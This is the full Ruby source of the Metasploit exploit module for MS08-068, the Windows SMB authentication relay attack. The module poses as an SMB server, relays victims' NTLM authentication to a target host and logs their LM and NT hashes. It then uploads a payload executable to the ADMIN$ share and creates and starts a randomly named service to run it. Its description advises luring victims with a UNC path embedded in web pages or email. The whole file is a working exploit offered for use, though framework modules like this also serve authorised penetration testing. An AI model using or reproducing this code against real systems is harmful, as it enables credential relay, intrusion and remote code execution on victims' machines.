##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

  Local Security Settings >
   Local Policies >
    Security Options >
     Network Access: Sharing and security model for local accounts
=end


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Server
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
      'Description'    => %q{
          This module will relay SMB authentication requests to another
        host, gaining access to an authenticated SMB session if successful.
        If the connecting user is an administrator and network logins are
        allowed to the target machine, this module will execute an arbitrary
        payload. To exploit this, the target system	must try to	authenticate
        to this module. The easiest way to force a SMB authentication attempt
        is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
        email message. When the victim views the web page or email, their
        system will automatically connect to the server specified in the UNC
        share (the IP address of the system running this module) and attempt
        to authenticate.  Unfortunately, this
        module is not able to clean up after itself. The service and payload
        file listed in the output will need to be manually removed after access
        has been gained. The service created by this tool uses a randomly chosen
        name and description, so the services list can become cluttered after
        repeated exploitation.

        The SMB authentication relay attack was first reported by Sir Dystic on
        March 31st, 2001 at @lanta.con in Atlanta, Georgia.

        On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
        includes a patch which prevents the relaying of challenge keys back to
        the host which issued them, preventing this exploit from working in
        the default configuration. It is still possible to set the SMBHOST
        parameter to a third-party host that the victim is authorized to access,
        but the "reflection" attack has been effectively broken.
      },
      'Author'         =>
        [
          'hdm', # All the work
          'juan vazquez' # Add NTLMSSP support to the exploit
        ],
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'        => 2048,
          'DisableNops'  => true,
          'StackAdjustment' => -3500,
        },
      'References'     =>
        [
          [ 'CVE', '2008-4037'],
          [ 'OSVDB', '49736'],
          [ 'MSB', 'MS08-068'],
          [ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
          [ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
        ],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'Mar 31 2001',
      'DefaultTarget'  => 0 ))

    register_options(
      [
        OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
        OptString.new('SHARE',    [ true, "The share to connect to", 'ADMIN$' ])
      ])
  end


  if (not const_defined?('NDR'))
    NDR = Rex::Encoder::NDR
  end

  def smb_haxor(c)
    smb = @state[c]
    rclient = smb[:rclient]

    if (@pwned[smb[:rhost]])
      print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
      return
    end

    unless smb[:ntlmssp] || rclient.client.auth_user
      print_line(" ")
      print_error(
        "FAILED! The remote host has only provided us with Guest privileges. " +
        "Please make sure that the correct username and password have been provided. " +
        "Windows XP systems that are not part of a domain will only provide Guest privileges " +
        "to network logins by default."
      )
      print_line(" ")
      return
    end

    print_status("Connecting to the defined share...")
    rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")

    @pwned[smb[:rhost]] = true

    print_status("Regenerating the payload...")
    code = regenerate_payload(smb[:rsock])

    # Upload the shellcode to a file
    print_status("Uploading payload...")

    filename = rand_text_alpha(8) + ".exe"
    servicename = rand_text_alpha(8)

    fd = rclient.open("\\#{filename}", 'rwct')

    begin
      exe = ''
      opts = {
        :servicename => servicename,
        :code => code.encoded
      }
      if datastore['PAYLOAD'].include?(ARCH_X64)
        opts.merge!({ :arch => ARCH_X64 })
      end
      exe = generate_payload_exe_service(opts)

      fd << exe
    ensure
      fd.close if fd
    end

    print_status("Created \\#{filename}...")

    # Disconnect from the SHARE
    rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")

    print_status("Connecting to the Service Control Manager...")
    rclient.connect("\\\\#{smb[:rhost]}\\IPC$")

    dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")

    ##
    # OpenSCManagerW()
    ##

    print_status("Obtaining a service manager handle...")
    scm_handle = nil
    stubdata =
      NDR.uwstring("\\\\#{smb[:rhost]}") +
      NDR.long(0) +
      NDR.long(0xF003F)
    begin
      response = dcerpc.call(0x0f, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        scm_handle = dcerpc.last_response.stub_data[0,20]
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
      return
    end

    ##
    # CreateServiceW()
    ##

    servicename = rand_text_alpha(8)
    displayname = rand_text_alpha(rand(32)+1)
    svc_handle  = nil
    svc_status  = nil

    print_status("Creating a new service...")
    stubdata =
      scm_handle +
      NDR.wstring(servicename) +
      NDR.uwstring(displayname) +

      NDR.long(0x0F01FF) + # Access: MAX
      NDR.long(0x00000110) + # Type: Interactive, Own process
      NDR.long(0x00000003) + # Start: Demand
      NDR.long(0x00000000) + # Errors: Ignore

      NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
      NDR.long(0) + # LoadOrderGroup
      NDR.long(0) + # Dependencies
      NDR.long(0) + # Service Start
      NDR.long(0) + # Password
      NDR.long(0) + # Password
      NDR.long(0) + # Password
      NDR.long(0)   # Password
    begin
      response = dcerpc.call(0x0c, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        svc_handle = dcerpc.last_response.stub_data[0,20]
        svc_status = dcerpc.last_response.stub_data[24,4]
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
      return
    end


    ##
    # CloseHandle()
    ##
    print_status("Closing service handle...")
    begin
      response = dcerpc.call(0x0, svc_handle)
    rescue ::Exception
    end

    ##
    # OpenServiceW
    ##
    print_status("Opening service...")
    begin
      stubdata =
        scm_handle +
        NDR.wstring(servicename) +
        NDR.long(0xF01FF)

      response = dcerpc.call(0x10, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        svc_handle = dcerpc.last_response.stub_data[0,20]
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
      return
    end

    ##
    # StartService()
    ##
    print_status("Starting the service...")
    stubdata =
      svc_handle +
      NDR.long(0) +
      NDR.long(0)
    begin
      response = dcerpc.call(0x13, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      end
    rescue ::Exception => e
      return
      #print_error("Error: #{e}")
    end

    ##
    # DeleteService()
    ##
    print_status("Removing the service...")
    stubdata =
      svc_handle
    begin
      response = dcerpc.call(0x02, stubdata)
      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
    end

    ##
    # CloseHandle()
    ##
    print_status("Closing service handle...")
    begin
      response = dcerpc.call(0x0, svc_handle)
    rescue ::Exception => e
      print_error("Error: #{e}")
    end

    rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")

    print_status("Deleting \\#{filename}...")
    rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
    rclient.delete("\\#{filename}")
  end


  def smb_dcerpc(c, uuid, version, pipe)
    smb  = @state[c]
    opts = {
      'Msf' => framework,
      'MsfExploit' => self,
      'smb_pipeio' => 'rw',
      'smb_client' => smb[:rclient]
    }

    handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])
    dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)
  end


  def smb_cmd_dispatch(cmd, c, buff)
    smb = @state[c]

    @pwned ||= {}

    case cmd
    when CONST::SMB_COM_NEGOTIATE
      smb_cmd_negotiate(c, buff)

    when CONST::SMB_COM_SESSION_SETUP_ANDX
      smb_cmd_session_setup(c, buff)

    when CONST::SMB_COM_TREE_CONNECT
      print_status("Denying tree connect from #{smb[:name]}")
      pkt = CONST::SMB_BASE_PKT.make_struct
      pkt['Payload']['SMB'].v['Command'] = cmd
      pkt['Payload']['SMB'].v['Flags1']  = 0x88
      pkt['Payload']['SMB'].v['Flags2']  = 0xc001
      pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
      c.put(pkt.to_s)

    else
      print_status("Ignoring request from #{smb[:name]} (#{cmd})")
      pkt = CONST::SMB_BASE_PKT.make_struct
      pkt['Payload']['SMB'].v['Command'] = cmd
      pkt['Payload']['SMB'].v['Flags1']  = 0x88
      pkt['Payload']['SMB'].v['Flags2']  = 0xc001
      pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
      c.put(pkt.to_s)
    end
  end

  def smb_cmd_negotiate(c, buff)
    smb = @state[c]
    pkt = CONST::SMB_NEG_PKT.make_struct
    pkt.from_s(buff)

    # Record the remote process ID
    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']

    flags2 = pkt['Payload']['SMB'].v['Flags2']
    extended_security = (flags2 & 0x800 == 0x800)

    group    = ''
    machine  = smb[:nbsrc]

    dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
    # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")

    dialect =
      dialects.index("NT LM 0.12") ||
      dialects.length-1

    # Dialect selected, now we try to the target system
    target_host = datastore['SMBHOST']
    if (not target_host or target_host.strip.length == 0)
      target_host = smb[:ip]
    end

    # If extended security isn't supported or we're trying reflection
    # ntlmv1 should be used, otherwise, use ntlmssp
    if extended_security && target_host != smb[:ip]
      smb[:ntlmssp] = true
      negotiate_ntlmssp(smb, target_host)
    else
      smb[:ntlmssp] = false
      negotiate_ntlmv1(smb, target_host)
    end

    rclient = smb[:rclient]

    # Negotiation has failed, just return
    unless rclient && rclient.client
      return
    end

    pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
    smb_set_defaults(c, pkt)
    time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001
    pkt['Payload']['SMB'].v['WordCount'] = 17
    pkt['Payload'].v['Dialect'] = dialect
    pkt['Payload'].v['SecurityMode'] = 3
    pkt['Payload'].v['MaxMPX'] = 2
    pkt['Payload'].v['MaxVCS'] = 1
    pkt['Payload'].v['MaxBuff'] = 4356
    pkt['Payload'].v['MaxRaw'] = 65536
    pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd
    pkt['Payload'].v['ServerTime'] = time_lo
    pkt['Payload'].v['ServerDate'] = time_hi
    pkt['Payload'].v['Timezone']   = 0x0
    pkt['Payload'].v['SessionKey'] = 0
    if smb[:ntlmssp]
      pkt['Payload'].v['KeyLength'] = 0
      pkt['Payload'].v['Payload'] =
        "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID
        Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp
    else
      pkt['Payload'].v['KeyLength'] = 8
      pkt['Payload'].v['Payload'] =
        rclient.client.challenge_key +
        Rex::Text.to_unicode(group) + "\x00\x00" +
        Rex::Text.to_unicode(machine) + "\x00\x00"
    end
    c.put(pkt.to_s)
  end

  def negotiate_ntlmv1(smb, target_host)
    rsock = nil
    rport = nil
    [445, 139].each do |rport_|
      rport = rport_
      begin
        rsock = Rex::Socket::Tcp.create(
          'PeerHost'  => target_host,
          'PeerPort'  => rport,
          'Timeout'   => 3,
          'Context'   =>
            {
              'Msf'        => framework,
              'MsfExploit' => self
            }
        )
        break if rsock
      rescue ::Interrupt
        raise $!
      rescue ::Exception => e
        print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
      end
    end

    unless rsock
      print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
      return
    end

    rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)

    begin
      rclient.login_split_start_ntlm1(smb[:nbsrc])
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
      raise e
    end

    unless rclient.client.challenge_key
      print_error("No challenge key received from #{smb[:ip]}:#{rport}")
      rsock.close
      return
    end

    if smb[:rsock]
      smb[:rsock].close
    end

    smb[:rsock] = rsock
    smb[:rclient] = rclient
    smb[:rhost] = target_host
  end

  def negotiate_ntlmssp(smb, target_host)
    rsock = nil
    rport = 445

    begin
      rsock = Rex::Socket::Tcp.create(
        'PeerHost'  => target_host,
        'PeerPort'  => rport,
        'Timeout'   => 3,
        'Context'   =>
          {
            'Msf'        => framework,
            'MsfExploit' => self
          }
      )
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
    end

    unless rsock
      print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
      return
    end

    rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true)

    rclient.client.negotiate(true) # extended security true

    unless rclient.client.server_guid
      print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
      rsock.close
      return
    end

    # If in the answer the Extended Security Negotiation (Flags2) is set
    # we need to proceed like that!
    rclient.client.require_signing = false

    if (smb[:rsock])
      smb[:rsock].close
    end

    smb[:rsock] = rsock
    smb[:rclient] = rclient
    smb[:rhost] = target_host
  end

  def smb_cmd_session_setup(c, buff)
    smb = @state[c]
    if smb[:ntlmssp]
      pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
    else
      pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
    end
    pkt.from_s(buff)

    capabilities = pkt['Payload'].v['Capabilities']
    extended_security = (capabilities & 0x80000000 == 0x80000000)
    if extended_security
      smb_cmd_session_setup_ntlmssp(c, buff)
    else
      smb_cmd_session_setup_ntlmv1(c, buff)
    end
  end

  def smb_cmd_session_setup_ntlmv1(c, buff)
    smb = @state[c]
    pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
    pkt.from_s(buff)


    # Record the remote multiplex ID
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

    lm_len = pkt['Payload'].v['PasswordLenLM']
    nt_len = pkt['Payload'].v['PasswordLenNT']

    lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
    nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]


    buff = pkt['Payload'].v['Payload']
    buff.slice!(0, lm_len + nt_len)
    names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

    smb[:username] = names[0]
    smb[:domain]   = names[1]
    smb[:peer_os]   = names[2]
    smb[:peer_lm]   = names[3]


    # Clean up the data for loggging
    if (smb[:username] == "")
      smb[:username] = nil
    end

    if (smb[:domain] == "")
      smb[:domain] = nil
    end

    print_status(
      "Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
        "LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
        "OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
    )

    if (lm_hash == "" or lm_hash == "00")
      lm_hash = nil
    end

    if (nt_hash == "")
      nt_hash = nil
    end

    if (lm_hash or nt_hash)
      rclient = smb[:rclient]
      print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...")
      res = nil

      begin
        res = rclient.login_split_next_ntlm1(
          smb[:username],
          smb[:domain],
          [ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"),
          [ (nt_hash ? nt_hash : "00" * 24) ].pack("H*")
        )
      rescue XCEPT::LoginError
      end

      if res
        print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
        smb_haxor(c)
      else
        print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
      end
    end

    print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")

    pkt = CONST::SMB_BASE_PKT.make_struct
    smb_set_defaults(c, pkt)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
    pkt['Payload']['SMB'].v['Flags1']  = 0x88
    pkt['Payload']['SMB'].v['Flags2']  = 0xc001
    pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
    c.put(pkt.to_s)
  end

  def smb_cmd_session_setup_ntlmssp(c, buff)
    smb = @state[c]
    buff_copy = buff.dup
    pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
    pkt.from_s(buff_copy)

    blob_length = pkt['Payload'].v['SecurityBlobLen']
    blob = pkt['Payload'].v['Payload'][0, blob_length]

    #detect if GSS is being used I need to fix this code.... but
    if blob[0,7] == 'NTLMSSP'
      c_gss = false
    else
      c_gss = true
      start = blob.index('NTLMSSP')
      if start
        blob.slice!(0,start)
      else
        print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
        return
      end
    end
    ntlm_message = NTLM_MESSAGE::parse(blob)

    case ntlm_message
    when NTLM_MESSAGE::Type1
      smb_cmd_ntlmssp_negotiate(c, buff)
    when NTLM_MESSAGE::Type3
      smb_cmd_ntlmssp_auth(c, buff)
    else
      smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
      return
    end
  end

  def smb_cmd_ntlmssp_negotiate(c, buff)
    smb = @state[c]
    pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
    pkt.from_s(buff)

    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
    smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
    smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

    security_blob_length = pkt['Payload'].v['SecurityBlobLen']
    security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]

    print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}")
    rclient = smb[:rclient]

    rclient.client.session_setup_with_ntlmssp_blob(security_blob, false)

    print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}")
    resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)

    rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID']

    security_blob_length = resp['Payload'].v['SecurityBlobLen']
    security_blob = resp['Payload'].v['Payload'][0, security_blob_length]

    print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}")
    challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
    smb_set_defaults(c, challenge)

    native_data = ''
    native_data << "Unix\x00" #Native OS
    native_data << "Samba\x00" #Native LanMAN

    challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
    challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
    challenge['Payload']['SMB'].v['Flags1'] = 0x80
    challenge['Payload']['SMB'].v['Flags2'] =  0xc801 # no signing
    challenge['Payload']['SMB'].v['WordCount'] = 4
    challenge['Payload'].v['AndX'] = 0xFF
    challenge['Payload'].v['Reserved1'] = 0x00
    challenge['Payload'].v['AndXOffset'] = 0
    challenge['Payload'].v['Action'] = 0x0000
    challenge['Payload'].v['SecurityBlobLen'] = security_blob_length
    challenge['Payload'].v['Payload'] = security_blob + native_data
    c.put(challenge.to_s)
  end

  def smb_cmd_ntlmssp_auth(c, buff)
    smb = @state[c]
    pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
    pkt.from_s(buff)

    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
    smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
    smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

    print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response")

    security_blob_length = pkt['Payload'].v['SecurityBlobLen']
    security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]

    smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)

    print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}")
    rclient = smb[:rclient]

    rclient.client.session_setup_with_ntlmssp_blob(
      security_blob,
      false,
      rclient.client.auth_user_id
    )
    resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)

    #check if auth was successful
    if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
      print_good("SMB auth relay against #{smb[:rhost]} succeeded")
      smb_haxor(c)
    else
      failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
      failure.word_count = resp['Payload']['SMB'].v['WordCount']
      failure.command = resp['Payload']['SMB'].v['Command']
      failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
      raise failure
    end
  end
end
